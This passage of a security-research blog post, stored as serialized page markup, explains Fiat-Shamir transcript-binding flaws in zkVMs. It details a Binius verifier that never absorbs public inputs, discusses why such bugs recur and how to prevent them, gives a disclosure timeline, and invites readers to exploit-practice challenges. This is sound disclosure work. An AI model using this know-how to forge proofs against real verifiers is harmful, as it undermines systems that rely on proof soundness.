efficiently handles bit-shifts and rotations (essential for hash functions like SHA-256) without the massive overhead typical in other proof systems.",{"type":23,"tag":32,"props":120421,"children":120422},{},[120423],{"type":23,"tag":3998,"props":120424,"children":120425},{},[120426],{"type":29,"value":119844},{"type":23,"tag":32,"props":120428,"children":120429},{},[120430],{"type":29,"value":120431},"The verifier receives the public witness (program inputs/outputs) as a separate parameter:",{"type":23,"tag":131,"props":120433,"children":120435},{"code":120434,"language":1638,"meta":7,"className":1639,"style":7},"pub fn verify\u003CF, C>(\n constraint_system: &ConstraintSystem,\n public: &[Word], // \u003C- NEVER ABSORBED\n // ...\n) -> Result\u003CVerifyOutput\u003CF>, Error>\n",[120436],{"type":23,"tag":38,"props":120437,"children":120438},{"__ignoreMap":7},[120439,120474,120499,120533,120541],{"type":23,"tag":141,"props":120440,"children":120441},{"class":143,"line":144},[120442,120446,120450,120454,120458,120462,120466,120470],{"type":23,"tag":141,"props":120443,"children":120444},{"style":449},[120445],{"type":29,"value":12368},{"type":23,"tag":141,"props":120447,"children":120448},{"style":449},[120449],{"type":29,"value":12373},{"type":23,"tag":141,"props":120451,"children":120452},{"style":184},[120453],{"type":29,"value":6841},{"type":23,"tag":141,"props":120455,"children":120456},{"style":154},[120457],{"type":29,"value":4480},{"type":23,"tag":141,"props":120459,"children":120460},{"style":725},[120461],{"type":29,"value":120310},{"type":23,"tag":141,"props":120463,"children":120464},{"style":154},[120465],{"type":29,"value":480},{"type":23,"tag":141,"props":120467,"children":120468},{"style":725},[120469],{"type":29,"value":114761},{"type":23,"tag":141,"props":120471,"children":120472},{"style":154},[120473],{"type":29,"value":5262},{"type":23,"tag":141,"props":120475,"children":120476},{"class":143,"line":180},[120477,120482,120486,120490,120495],{"type":23,"tag":141,"props":120478,"children":120479},{"style":750},[120480],{"type":29,"value":120481}," constraint_system",{"type":23,"tag":141,"props":120483,"children":120484},{"style":160},[120485],{"type":29,"value":114},{"type":23,"tag":141,"props":120487,"children":120488},{"style":160},[120489],{"type":29,"value":5815},{"type":23,"tag":141,"props":120491,"children":120492},{"style":725},[120493],{"type":29,"value":120494},"ConstraintSystem",{"type":23,"tag":141,"props":120496,"children":120497},{"style":154},[120498],{"type":29,"value":2168},{"type":23,"tag":141,"props":120500,"children":120501},{"class":143,"line":205},[120502,120506,120510,120514,120518,120523,120528],{"type":23,"tag":141,"props":120503,"children":120504},{"style":750},[120505],{"type":29,"value":6196},{"type":23,"tag":141,"props":120507,"children":120508},{"style":160},[120509],{"type":29,"value":114},{"type":23,"tag":141,"props":120511,"children":120512},{"style":160},[120513],{"type":29,"value":5815},{"type":23,"tag":141,"props":120515,"children":120516},{"style":154},[120517],{"type":29,"value":2399},{"type":23,"tag":141,"props":120519,"children":120520},{"style":725},[120521],{"type":29,"value":120522},"Word",{"type":23,"tag":141,"props":120524,"children":120525},{"style":154},[120526],{"type":29,"value":120527},"], ",{"type":23,"tag":141,"props":120529,"children":120530},{"style":443},[120531],{"type":29,"value":120532},"// \u003C- NEVER ABSORBED\n",{"type":23,"tag":141,"props":120534,"children":120535},{"class":143,"line":218},[120536],{"type":23,"tag":141,"props":120537,"children":120538},{"style":443},[120539],{"type":29,"value":120540}," // ...\n",{"type":23,"tag":141,"props":120542,"children":120543},{"class":143,"line":227},[120544,120548,120552,120556,120560,120565,120569,120573,120577,120581],{"type":23,"tag":141,"props":120545,"children":120546},{"style":154},[120547],{"type":29,"value":1748},{"type":23,"tag":141,"props":120549,"children":120550},{"style":160},[120551],{"type":29,"value":12435},{"type":23,"tag":141,"props":120553,"children":120554},{"style":725},[120555],{"type":29,"value":12440},{"type":23,"tag":141,"props":120557,"children":120558},{"style":154},[120559],{"type":29,"value":4480},{"type":23,"tag":141,"props":120561,"children":120562},{"style":725},[120563],{"type":29,"value":120564},"VerifyOutput",{"type":23,"tag":141,"props":120566,"children":120567},{"style":154},[120568],{"type":29,"value":4480},{"type":23,"tag":141,"props":120570,"children":120571},{"style":725},[120572],{"type":29,"value":120310},{"type":23,"tag":141,"props":120574,"children":120575},{"style":154},[120576],{"type":29,"value":5304},{"type":23,"tag":141,"props":120578,"children":120579},{"style":725},[120580],{"type":29,"value":35869},{"type":23,"tag":141,"props":120582,"children":120583},{"style":154},[120584],{"type":29,"value":4666},{"type":23,"tag":32,"props":120586,"children":120587},{},[120588,120590,120596,120597,120603,120605,120609],{"type":29,"value":120589},"In the shift protocol, challenges ",{"type":23,"tag":38,"props":120591,"children":120593},{"className":120592},[],[120594],{"type":29,"value":120595},"r_j",{"type":29,"value":313},{"type":23,"tag":38,"props":120598,"children":120600},{"className":120599},[],[120601],{"type":29,"value":120602},"inout_eval_point",{"type":29,"value":120604}," are sampled ",{"type":23,"tag":3998,"props":120606,"children":120607},{},[120608],{"type":29,"value":103076},{"type":29,"value":120610}," the public witness is bound.",{"type":23,"tag":32,"props":120612,"children":120613},{},[120614],{"type":23,"tag":3998,"props":120615,"children":120616},{},[120617],{"type":29,"value":113964},{"type":23,"tag":32,"props":120619,"children":120620},{},[120621],{"type":23,"tag":2591,"props":120622,"children":120625},{"alt":120623,"src":120624},"10_binius","/posts/zkvms-unfaithful-claims/10_binius.svg",[],{"type":23,"tag":32,"props":120627,"children":120628},{},[120629],{"type":29,"value":120630},"During verification",{"type":23,"tag":116,"props":120632,"children":120633},{},[120634,120654,120666,120685],{"type":23,"tag":120,"props":120635,"children":120636},{},[120637,120639,120644,120646,120652],{"type":29,"value":120638},"Sumcheck produces challenge points ",{"type":23,"tag":38,"props":120640,"children":120642},{"className":120641},[],[120643],{"type":29,"value":120595},{"type":29,"value":120645}," (bit indices) and ",{"type":23,"tag":38,"props":120647,"children":120649},{"className":120648},[],[120650],{"type":29,"value":120651},"r_s",{"type":29,"value":120653}," (shift indices)",{"type":23,"tag":120,"props":120655,"children":120656},{},[120657,120659,120664],{"type":29,"value":120658},"Verifier samples ",{"type":23,"tag":38,"props":120660,"children":120662},{"className":120661},[],[120663],{"type":29,"value":120602},{"type":29,"value":120665}," from transcript",{"type":23,"tag":120,"props":120667,"children":120668},{},[120669,120671,120677,120679,120684],{"type":29,"value":120670},"Verifier computes ",{"type":23,"tag":38,"props":120672,"children":120674},{"className":120673},[],[120675],{"type":29,"value":120676},"public_eval = MLE(public, r_j, inout_eval_point)",{"type":29,"value":120678}," using the unbound ",{"type":23,"tag":38,"props":120680,"children":120682},{"className":120681},[],[120683],{"type":29,"value":60156},{"type":29,"value":16811},{"type":23,"tag":120,"props":120686,"children":120687},{},[120688,120689,120695],{"type":29,"value":388},{"type":23,"tag":38,"props":120690,"children":120692},{"className":120691},[],[120693],{"type":29,"value":120694},"public_eval",{"type":29,"value":120696}," feeds into subsequent verification equations",{"type":23,"tag":32,"props":120698,"children":120699},{},[120700],{"type":29,"value":120701},"The MLE evaluation is linear in the public witness bits:",{"type":23,"tag":32,"props":120703,"children":120704},{},[120705],{"type":23,"tag":38,"props":120706,"children":120708},{"className":120707},[2658,2659],[120709],{"type":23,"tag":141,"props":120710,"children":120712},{"className":120711},[2664],[120713],{"type":23,"tag":141,"props":120714,"children":120716},{"className":120715,"ariaHidden":2670},[2669],[120717,120761,120901,121013],{"type":23,"tag":141,"props":120718,"children":120720},{"className":120719},[2675],[120721,120725,120734,120739,120748,120752,120757],{"type":23,"tag":141,"props":120722,"children":120724},{"className":120723,"style":92945},[2680],[],{"type":23,"tag":141,"props":120726,"children":120728},{"className":120727},[2686,29],[120729],{"type":23,"tag":141,"props":120730,"children":120732},{"className":120731},[2686],[120733],{"type":29,"value":60156},{"type":23,"tag":141,"props":120735,"children":120737},{"className":120736,"style":91532},[2686],[120738],{"type":29,"value":1743},{"type":23,"tag":141,"props":120740,"children":120742},{"className":120741},[2686,29],[120743],{"type":23,"tag":141,"props":120744,"children":120746},{"className":120745},[2686],[120747],{"type":29,"value":36019},{"type":23,"tag":141,"props":120749,"children":120751},{"className":120750,"style":2863},[2766],[],{"type":23,"tag":141,"props":120753,"children":120755},{"className":120754},[2868],[120756],{"type":29,"value":1377},{"type":23,"tag":141,"props":120758,"children":120760},{"className":120759,"style":2863},[2766],[],{"type":23,"tag":141,"props":120762,"children":120764},{"className":120763},[2675],[120765,120769,120841,120845,120858,120863,120868,120873,120878,120883,120888,120892,120897],{"type":23,"tag":141,"props":120766,"children":120768},{"className":120767,"style":117294},[2680],[],{"type":23,"tag":141,"props":120770,"children":120772},{"className":120771},[20296],[120773,120778],{"type":23,"tag":141,"props":120774,"children":120776},{"className":120775,"style":20303},[20296,20301,20302],[120777],{"type":29,"value":107327},{"type":23,"tag":141,"props":120779,"children":120781},{"className":120780},[2702],[120782],{"type":23,"tag":141,"props":120783,"children":120785},{"className":120784},[2707,20314],[120786,120830],{"type":23,"tag":141,"props":120787,"children":120789},{"className":120788},[2712],[120790,120825],{"type":23,"tag":141,"props":120791,"children":120793},{"className":120792,"style":112204},[2717],[120794],{"type":23,"tag":141,"props":120795,"children":120796},{"style":20327},[120797,120801],{"type":23,"tag":141,"props":120798,"children":120800},{"className":120799,"style":2727},[2726],[],{"type":23,"tag":141,"props":120802,"children":120804},{"className":120803},[2732,2733,2734,2735],[120805],{"type":23,"tag":141,"props":120806,"children":120808},{"className":120807},[2686,2735],[120809,120815,120820],{"type":23,"tag":141,"props":120810,"children":120813},{"className":120811,"style":120812},[2686,20260,2735],"margin-right:0.02691em;",[120814],{"type":29,"value":48050},{"type":23,"tag":141,"props":120816,"children":120818},{"className":120817},[2798,2735],[120819],{"type":29,"value":512},{"type":23,"tag":141,"props":120821,"children":120823},{"className":120822},[2686,20260,2735],[120824],{"type":29,"value":1883},{"type":23,"tag":141,"props":120826,"children":120828},{"className":120827},[20417],[120829],{"type":29,"value":20420},{"type":23,"tag":141,"props":120831,"children":120833},{"className":120832},[2712],[120834],{"type":23,"tag":141,"props":120835,"children":120837},{"className":120836,"style":112770},[2717],[120838],{"type":23,"tag":141,"props":120839,"children":120840},{},[],{"type":23,"tag":141,"props":120842,"children":120844},{"className":120843,"style":2804},[2766],[],{"type":23,"tag":141,"props":120846,"children":120848},{"className":120847},[2686],[120849],{"type":23,"tag":141,"props":120850,"children":120852},{"className":120851},[2686,29],[120853],{"type":23,"tag":141,"props":120854,"children":120856},{"className":120855},[2686],[120857],{"type":29,"value":60156},{"type":23,"tag":141,"props":120859,"children":120861},{"className":120860},[20389],[120862],{"type":29,"value":2399},{"type":23,"tag":141,"props":120864,"children":120866},{"className":120865,"style":120812},[2686,20260],[120867],{"type":29,"value":48050},{"type":23,"tag":141,"props":120869,"children":120871},{"className":120870},[20411],[120872],{"type":29,"value":14088},{"type":23,"tag":141,"props":120874,"children":120876},{"className":120875},[20389],[120877],{"type":29,"value":2399},{"type":23,"tag":141,"props":120879,"children":120881},{"className":120880},[2686,20260],[120882],{"type":29,"value":1883},{"type":23,"tag":141,"props":120884,"children":120886},{"className":120885},[20411],[120887],{"type":29,"value":14088},{"type":23,"tag":141,"props":120889,"children":120891},{"className":120890,"style":2767},[2766],[],{"type":23,"tag":141,"props":120893,"children":120895},{"className":120894},[2772],[120896],{"type":29,"value":109794},{"type":23,"tag":141,"props":120898,"children":120900},{"className":120899,"style":2767},[2766],[],{"type":23,"tag":141,"props":120902,"children":120904},{"className":120903},[2675],[120905,120910,120919,120924,120929,120934,120938,120995,121000,121004,121009],{"type":23,"tag":141,"props":120906,"children":120909},{"className":120907,"style":120908},[2680],"height:1.0361em;vertical-align:-0.2861em;",[],{"type":23,"tag":141,"props":120911,"children":120913},{"className":120912},[2686,29],[120914],{"type":23,"tag":141,"props":120915,"children":120917},{"className":120916},[2686],[120918],{"type":29,"value":111121},{"type":23,"tag":141,"props":120920,"children":120922},{"className":120921},[20389],[120923],{"type":29,"value":192},{"type":23,"tag":141,"props":120925,"children":120927},{"className":120926},[2686,20260],[120928],{"type":29,"value":1883},{"type":23,"tag":141,"props":120930,"children":120932},{"className":120931},[2798],[120933],{"type":29,"value":512},{"type":23,"tag":141,"props":120935,"children":120937},{"className":120936,"style":2804},[2766],[],{"type":23,"tag":141,"props":120939,"children":120941},{"className":120940},[2686],[120942,120947],{"type":23,"tag":141,"props":120943,"children":120945},{"className":120944,"style":91532},[2686,20260],[120946],{"type":29,"value":92351},{"type":23,"tag":141,"props":120948,"children":120950},{"className":120949},[2702],[120951],{"type":23,"tag":141,"props":120952,"children":120954},{"className":120953},[2707,20314],[120955,120984],{"type":23,"tag":141,"props":120956,"children":120958},{"className":120957},[2712],[120959,120979],{"type":23,"tag":141,"props":120960,"children":120962},{"className":120961,"style":92061},[2717],[120963],{"type":23,"tag":141,"props":120964,"children":120965},{"style":108531},[120966,120970],{"type":23,"tag":141,"props":120967,"children":120969},{"className":120968,"style":2727},[2726],[],{"type":23,"tag":141,"props":120971,"children":120973},{"className":120972},[2732,2733,2734,2735],[120974],{"type":23,"tag":141,"props":120975,"children":120977},{"className":120976,"style":112755},[2686,20260,2735],[120978],{"type":29,"value":7332},{"type":23,"tag":141,"props":120980,"children":120982},{"className":120981},[20417],[120983],{"type":29,"value":20420},{"type":23,"tag":141,"props":120985,"children":120987},{"className":120986},[2712],[120988],{"type":23,"tag":141,"props":120989,"children":120991},{"className":120990,"style":117442},[2717],[120992],{"type":23,"tag":141,"props":120993,"children":120994},{},[],{"type":23,"tag":141,"props":120996,"children":120998},{"className":120997},[20411],[120999],{"type":29,"value":1788},{"type":23,"tag":141,"props":121001,"children":121003},{"className":121002,"style":2767},[2766],[],{"type":23,"tag":141,"props":121005,"children":121007},{"className":121006},[2772],[121008],{"type":29,"value":109794},{"type":23,"tag":141,"props":121010,"children":121012},{"className":121011,"style":2767},[2766],[],{"type":23,"tag":141,"props":121014,"children":121016},{"className":121015},[2675],[121017,121021,121030,121035,121040,121045,121049,121059,121064,121073,121078,121087],{"type":23,"tag":141,"props":121018,"children":121020},{"className":121019,"style":91474},[2680],[],{"type":23,"tag":141,"props":121022,"children":121024},{"className":121023},[2686,29],[121025],{"type":23,"tag":141,"props":121026,"children":121028},{"className":121027},[2686],[121029],{"type":29,"value":111121},{"type":23,"tag":141,"props":121031,"children":121033},{"className":121032},[20389],[121034],{"type":29,"value":192},{"type":23,"tag":141,"props":121036,"children":121038},{"className":121037,"style":120812},[2686,20260],[121039],{"type":29,"value":48050},{"type":23,"tag":141,"props":121041,"children":121043},{"className":121042},[2798],[121044],{"type":29,"value":512},{"type":23,"tag":141,"props":121046,"children":121048},{"className":121047,"style":2804},[2766],[],{"type":23,"tag":141,"props":121050,"children":121052},{"className":121051},[2686,29],[121053],{"type":23,"tag":141,"props":121054,"children":121056},{"className":121055},[2686],[121057],{"type":29,"value":121058},"inout",{"type":23,"tag":141,"props":121060,"children":121062},{"className":121061,"style":91532},[2686],[121063],{"type":29,"value":1743},{"type":23,"tag":141,"props":121065,"children":121067},{"className":121066},[2686,29],[121068],{"type":23,"tag":141,"props":121069,"children":121071},{"className":121070},[2686],[121072],{"type":29,"value":36019},{"type":23,"tag":141,"props":121074,"children":121076},{"className":121075,"style":91532},[2686],[121077],{"type":29,"value":1743},{"type":23,"tag":141,"props":121079,"children":121081},{"className":121080},[2686,29],[121082],{"type":23,"tag":141,"props":121083,"children":121085},{"className":121084},[2686],[121086],{"type":29,"value":116317},{"type":23,"tag":141,"props":121088,"children":121090},{"className":121089},[20411],[121091],{"type":29,"value":1788},{"type":23,"tag":32,"props":121093,"children":121094},{},[121095,121097,121102,121104,121177],{"type":29,"value":121096},"With challenges fixed (independent of ",{"type":23,"tag":38,"props":121098,"children":121100},{"className":121099},[],[121101],{"type":29,"value":60156},{"type":29,"value":121103},"), an attacker can find an alternate witness ",{"type":23,"tag":38,"props":121105,"children":121107},{"className":121106},[2658,2659],[121108],{"type":23,"tag":141,"props":121109,"children":121111},{"className":121110},[2664],[121112],{"type":23,"tag":141,"props":121113,"children":121115},{"className":121114,"ariaHidden":2670},[2669],[121116],{"type":23,"tag":141,"props":121117,"children":121119},{"className":121118},[2675],[121120,121125],{"type":23,"tag":141,"props":121121,"children":121124},{"className":121122,"style":121123},[2680],"height:1.0307em;vertical-align:-0.1944em;",[],{"type":23,"tag":141,"props":121126,"children":121128},{"className":121127},[2686],[121129,121138],{"type":23,"tag":141,"props":121130,"children":121132},{"className":121131},[2686,29],[121133],{"type":23,"tag":141,"props":121134,"children":121136},{"className":121135},[2686],[121137],{"type":29,"value":60156},{"type":23,"tag":141,"props":121139,"children":121141},{"className":121140},[2702],[121142],{"type":23,"tag":141,"props":121143,"children":121145},{"className":121144},[2707],[121146],{"type":23,"tag":141,"props":121147,"children":121149},{"className":121148},[2712],[121150],{"type":23,"tag":141,"props":121151,"children":121154},{"className":121152,"style":121153},[2717],"height:0.8362em;",[121155],{"type":23,"tag":141,"props":121156,"children":121158},{"style":121157},"top:-3.1473em;margin-right:0.05em;",[121159,121163],{"type":23,"tag":141,"props":121160,"children":121162},{"className":121161,"style":2727},[2726],[],{"type":23,"tag":141,"props":121164,"children":121166},{"className":121165},[2732,2733,2734,2735],[121167],{"type":23,"tag":141,"props":121168,"children":121170},{"className":121169},[2686,2735],[121171],{"type":23,"tag":141,"props":121172,"children":121174},{"className":121173},[2686,2735],[121175],{"type":29,"value":121176},"′",{"type":29,"value":121178}," that produces the same evaluation. This is a single 128-bit linear constraint over hundreds of bits, yielding a single linear equation in a high-dimensional binary witness space, which is typically underconstrained and admits many alternative witnesses under common parameterizations.",{"type":23,"tag":32,"props":121180,"children":121181},{},[121182,121186,121188],{"type":23,"tag":3998,"props":121183,"children":121184},{},[121185],{"type":29,"value":115242},{"type":29,"value":121187}," Fixed on December 29, 2025 via ",{"type":23,"tag":55,"props":121189,"children":121192},{"href":121190,"rel":121191},"https://github.com/binius-zk/binius64/pull/1355/commits/86a515f0632d2acdf547ed82780dfe7f9f39358f",[59],[121193],{"type":29,"value":121194},"commit 86a515f",{"type":23,"tag":17463,"props":121196,"children":121197},{},[],{"type":23,"tag":24,"props":121199,"children":121201},{"id":121200},"why-does-this-keep-happening",[121202],{"type":29,"value":121203},"Why Does This Keep Happening?",{"type":23,"tag":32,"props":121205,"children":121206},{},[121207],{"type":29,"value":121208},"Given that we found the same bug class in six independent implementations, at some point we have to ask whether there is a systemic issue making this mistake so common.",{"type":23,"tag":8287,"props":121210,"children":121212},{"id":121211},"academic-papers-dont-specify-fiat-shamir",[121213],{"type":29,"value":121214},"Academic Papers Don't Specify Fiat-Shamir",{"type":23,"tag":32,"props":121216,"children":121217},{},[121218,121220,121225,121227,121252,121254,121257,121259,121284,121286,121313],{"type":29,"value":121219},"Academic papers usually describe ",{"type":23,"tag":47,"props":121221,"children":121222},{},[121223],{"type":29,"value":121224},"interactive",{"type":29,"value":121226}," protocols: \"Prover sends ",{"type":23,"tag":38,"props":121228,"children":121230},{"className":121229},[2658,2659],[121231],{"type":23,"tag":141,"props":121232,"children":121234},{"className":121233},[2664],[121235],{"type":23,"tag":141,"props":121236,"children":121238},{"className":121237,"ariaHidden":2670},[2669],[121239],{"type":23,"tag":141,"props":121240,"children":121242},{"className":121241},[2675],[121243,121247],{"type":23,"tag":141,"props":121244,"children":121246},{"className":121245,"style":20255},[2680],[],{"type":23,"tag":141,"props":121248,"children":121250},{"className":121249,"style":20792},[2686,20260],[121251],{"type":29,"value":114761},{"type":29,"value":121253},". Verifier sends",{"type":23,"tag":29436,"props":121255,"children":121256},{},[],{"type":29,"value":121258},"random ",{"type":23,"tag":38,"props":121260,"children":121262},{"className":121261},[2658,2659],[121263],{"type":23,"tag":141,"props":121264,"children":121266},{"className":121265},[2664],[121267],{"type":23,"tag":141,"props":121268,"children":121270},{"className":121269,"ariaHidden":2670},[2669],[121271],{"type":23,"tag":141,"props":121272,"children":121274},{"className":121273},[2675],[121275,121279],{"type":23,"tag":141,"props":121276,"children":121278},{"className":121277,"style":109373},[2680],[],{"type":23,"tag":141,"props":121280,"children":121282},{"className":121281,"style":91532},[2686,20260],[121283],{"type":29,"value":92351},{"type":29,"value":121285},". Prover sends ",{"type":23,"tag":38,"props":121287,"children":121289},{"className":121288},[2658,2659],[121290],{"type":23,"tag":141,"props":121291,"children":121293},{"className":121292},[2664],[121294],{"type":23,"tag":141,"props":121295,"children":121297},{"className":121296,"ariaHidden":2670},[2669],[121298],{"type":23,"tag":141,"props":121299,"children":121301},{"className":121300},[2675],[121302,121306],{"type":23,"tag":141,"props":121303,"children":121305},{"className":121304,"style":20255},[2680],[],{"type":23,"tag":141,"props":121307,"children":121310},{"className":121308,"style":121309},[2686,20260],"margin-right:0.00773em;",[121311],{"type":29,"value":121312},"R",{"type":29,"value":121314},".\"",{"type":23,"tag":32,"props":121316,"children":121317},{},[121318,121320,121345,121347,121372],{"type":29,"value":121319},"They often omit the necessary steps to make the protocol non-interactive: \"Hash ",{"type":23,"tag":38,"props":121321,"children":121323},{"className":121322},[2658,2659],[121324],{"type":23,"tag":141,"props":121325,"children":121327},{"className":121326},[2664],[121328],{"type":23,"tag":141,"props":121329,"children":121331},{"className":121330,"ariaHidden":2670},[2669],[121332],{"type":23,"tag":141,"props":121333,"children":121335},{"className":121334},[2675],[121336,121340],{"type":23,"tag":141,"props":121337,"children":121339},{"className":121338,"style":20255},[2680],[],{"type":23,"tag":141,"props":121341,"children":121343},{"className":121342,"style":20792},[2686,20260],[121344],{"type":29,"value":114761},{"type":29,"value":121346}," before sampling ",{"type":23,"tag":38,"props":121348,"children":121350},{"className":121349},[2658,2659],[121351],{"type":23,"tag":141,"props":121352,"children":121354},{"className":121353},[2664],[121355],{"type":23,"tag":141,"props":121356,"children":121358},{"className":121357,"ariaHidden":2670},[2669],[121359],{"type":23,"tag":141,"props":121360,"children":121362},{"className":121361},[2675],[121363,121367],{"type":23,"tag":141,"props":121364,"children":121366},{"className":121365,"style":109373},[2680],[],{"type":23,"tag":141,"props":121368,"children":121370},{"className":121369,"style":91532},[2686,20260],[121371],{"type":29,"value":92351},{"type":29,"value":121373},". Also hash the public statement. Also hash intermediate values that affect later equations.\"",{"type":23,"tag":32,"props":121375,"children":121376},{},[121377],{"type":29,"value":121378},"Security proofs thus also analyze the interactive protocols where binding is implicit. The responsibility of determining what to include in the transcript therefore falls on the implementor, which may not have a good understanding of the full protocol.",{"type":23,"tag":8287,"props":121380,"children":121382},{"id":121381},"the-hot-potato-problem",[121383],{"type":29,"value":121384},"The Hot Potato Problem",{"type":23,"tag":32,"props":121386,"children":121387},{},[121388],{"type":29,"value":121389},"Modern zkVMs are modular:",{"type":23,"tag":32,"props":121391,"children":121392},{},[121393],{"type":23,"tag":2591,"props":121394,"children":121397},{"alt":121395,"src":121396},"11_hot_potato","/posts/zkvms-unfaithful-claims/11_hot_potato.svg",[],{"type":23,"tag":32,"props":121399,"children":121400},{},[121401],{"type":29,"value":121402},"It often happens that each layer assumes the previous/next layer handles the transcript binding for a value, so in the end it never happens.",{"type":23,"tag":8287,"props":121404,"children":121406},{"id":121405},"optimization-pressure",[121407],{"type":29,"value":121408},"Optimization Pressure",{"type":23,"tag":32,"props":121410,"children":121411},{},[121412],{"type":29,"value":121413},"Performance is existential for ZK. Since every hash operation has a cost, there is constant pressure to exclude values that are \"probably fine\" to leave out.",{"type":23,"tag":32,"props":121415,"children":121416},{},[121417],{"type":29,"value":121418},"There are indeed cases when this can be done safely, but determining what is safe requires a full understanding of all protocols involved, and the decision to exclude something should be double and triple checked by experts.",{"type":23,"tag":8287,"props":121420,"children":121422},{"id":121421},"testing-doesnt-catch-adversarial-inputs",[121423],{"type":29,"value":121424},"Testing Doesn't Catch Adversarial Inputs",{"type":23,"tag":32,"props":121426,"children":121427},{},[121428],{"type":29,"value":121429},"Unit tests run the honest prover. Integration tests run the honest prover. Fuzzing only randomly perturbs values and has a very low probability of succeeding in fooling a verifier. Identifying Fiat-Shamir bugs requires thorough manual security analysis, and sometimes even that falls short.",{"type":23,"tag":17463,"props":121431,"children":121432},{},[],{"type":23,"tag":24,"props":121434,"children":121436},{"id":121435},"how-to-find-and-fix-these-bugs",[121437],{"type":29,"value":121438},"How to Find and Fix These Bugs",{"type":23,"tag":8287,"props":121440,"children":121442},{"id":121441},"prevention",[121443],{"type":29,"value":121444},"Prevention",{"type":23,"tag":32,"props":121446,"children":121447},{},[121448],{"type":29,"value":121449},"Fiat-Shamir has long been a known source of soundness bugs, which has driven the development of primitives that make implementation less error-prone.",{"type":23,"tag":32,"props":121451,"children":121452},{},[121453],{"type":29,"value":121454},"One such tool is to merge the proof and transcript, to force all values that are sent by the prover to be automatically absorbed into the transcript.",{"type":23,"tag":32,"props":121456,"children":121457},{},[121458],{"type":29,"value":121459},"The prover holds a proof buffer which emulates the communication channel between prover and verifier. When a value is sent by the prover it is added to the proof buffer and automatically absorbed into the transcript. When the prover then needs to read a challenge from the verifier it simply squeezes from the current transcript.",{"type":23,"tag":32,"props":121461,"children":121462},{},[121463],{"type":29,"value":121464},"This can then be done in reverse for the verifier. It gradually reads values from the proof buffer and can thus sync the transcript state and derive the same challenges.",{"type":23,"tag":32,"props":121466,"children":121467},{},[121468],{"type":29,"value":121469},"Halo2 follows this pattern, and Binius is transcript-centric as well. But even with a merged proof/transcript, statement data (e.g., public inputs) must still be absorbed before sampling any challenges that govern equations depending on them—and as Binius demonstrates, even transcript-centric systems can miss this.",{"type":23,"tag":17463,"props":121471,"children":121472},{},[],{"type":23,"tag":24,"props":121474,"children":121476},{"id":121475},"responsible-disclosure-timeline",[121477],{"type":29,"value":121478},"Responsible Disclosure Timeline",{"type":23,"tag":54224,"props":121480,"children":121481},{},[121482,121510],{"type":23,"tag":121483,"props":121484,"children":121485},"thead",{},[121486],{"type":23,"tag":121487,"props":121488,"children":121489},"tr",{},[121490,121495,121500,121505],{"type":23,"tag":121491,"props":121492,"children":121493},"th",{},[121494],{"type":29,"value":21880},{"type":23,"tag":121491,"props":121496,"children":121497},{},[121498],{"type":29,"value":121499},"Reported",{"type":23,"tag":121491,"props":121501,"children":121502},{},[121503],{"type":29,"value":121504},"Fixed",{"type":23,"tag":121491,"props":121506,"children":121507},{},[121508],{"type":29,"value":121509},"Response Time",{"type":23,"tag":121511,"props":121512,"children":121513},"tbody",{},[121514,121537,121558,121578,121600,121621],{"type":23,"tag":121487,"props":121515,"children":121516},{},[121517,121522,121527,121532],{"type":23,"tag":121518,"props":121519,"children":121520},"td",{},[121521],{"type":29,"value":106345},{"type":23,"tag":121518,"props":121523,"children":121524},{},[121525],{"type":29,"value":121526},"Sep 2025",{"type":23,"tag":121518,"props":121528,"children":121529},{},[121530],{"type":29,"value":121531},"Oct 3, 2025",{"type":23,"tag":121518,"props":121533,"children":121534},{},[121535],{"type":29,"value":121536},"\u003C1 week",{"type":23,"tag":121487,"props":121538,"children":121539},{},[121540,121544,121549,121554],{"type":23,"tag":121518,"props":121541,"children":121542},{},[121543],{"type":29,"value":106351},{"type":23,"tag":121518,"props":121545,"children":121546},{},[121547],{"type":29,"value":121548},"Oct 2025",{"type":23,"tag":121518,"props":121550,"children":121551},{},[121552],{"type":29,"value":121553},"Oct 24, 2025",{"type":23,"tag":121518,"props":121555,"children":121556},{},[121557],{"type":29,"value":121536},{"type":23,"tag":121487,"props":121559,"children":121560},{},[121561,121565,121569,121574],{"type":23,"tag":121518,"props":121562,"children":121563},{},[121564],{"type":29,"value":106357},{"type":23,"tag":121518,"props":121566,"children":121567},{},[121568],{"type":29,"value":121548},{"type":23,"tag":121518,"props":121570,"children":121571},{},[121572],{"type":29,"value":121573},"Oct 31, 2025",{"type":23,"tag":121518,"props":121575,"children":121576},{},[121577],{"type":29,"value":121536},{"type":23,"tag":121487,"props":121579,"children":121580},{},[121581,121585,121590,121595],{"type":23,"tag":121518,"props":121582,"children":121583},{},[121584],{"type":29,"value":106363},{"type":23,"tag":121518,"props":121586,"children":121587},{},[121588],{"type":29,"value":121589},"Nov 2025",{"type":23,"tag":121518,"props":121591,"children":121592},{},[121593],{"type":29,"value":121594},"Mar 5, 2026",{"type":23,"tag":121518,"props":121596,"children":121597},{},[121598],{"type":29,"value":121599},"~4 months",{"type":23,"tag":121487,"props":121601,"children":121602},{},[121603,121607,121612,121617],{"type":23,"tag":121518,"props":121604,"children":121605},{},[121606],{"type":29,"value":106375},{"type":23,"tag":121518,"props":121608,"children":121609},{},[121610],{"type":29,"value":121611},"Dec 2025",{"type":23,"tag":121518,"props":121613,"children":121614},{},[121615],{"type":29,"value":121616},"Dec 29, 2025",{"type":23,"tag":121518,"props":121618,"children":121619},{},[121620],{"type":29,"value":121536},{"type":23,"tag":121487,"props":121622,"children":121623},{},[121624,121628,121632,121637],{"type":23,"tag":121518,"props":121625,"children":121626},{},[121627],{"type":29,"value":106369},{"type":23,"tag":121518,"props":121629,"children":121630},{},[121631],{"type":29,"value":121589},{"type":23,"tag":121518,"props":121633,"children":121634},{},[121635],{"type":29,"value":121636},"Jan 21, 2026?",{"type":23,"tag":121518,"props":121638,"children":121639},{},[121640],{"type":29,"value":121641},"3 months",{"type":23,"tag":32,"props":121643,"children":121644},{},[121645],{"type":29,"value":121646},"All six teams were notified; responses ranged from immediate acknowledgement to delayed fix, and all reported issues have since been addressed.",{"type":23,"tag":17463,"props":121648,"children":121649},{},[],{"type":23,"tag":24,"props":121651,"children":121653},{"id":121652},"challenges",[121654],{"type":29,"value":106388},{"type":23,"tag":32,"props":121656,"children":121657},{},[121658,121660],{"type":29,"value":121659},"Do you think you have a good understanding of these bugs? We have prepared challenges to allow you to practice implementing two of these exploits. If you solve any of them, follow the instructions in the flag ",{"type":23,"tag":121661,"props":121662,"children":121663},"del",{},[121664],{"type":29,"value":121665},"the first 10 solvers will get a T-shirt.",{"type":23,"tag":32,"props":121667,"children":121668},{},[121669,121671,121724,121725,121981],{"type":29,"value":121670},"Your goal is to find a counter example of 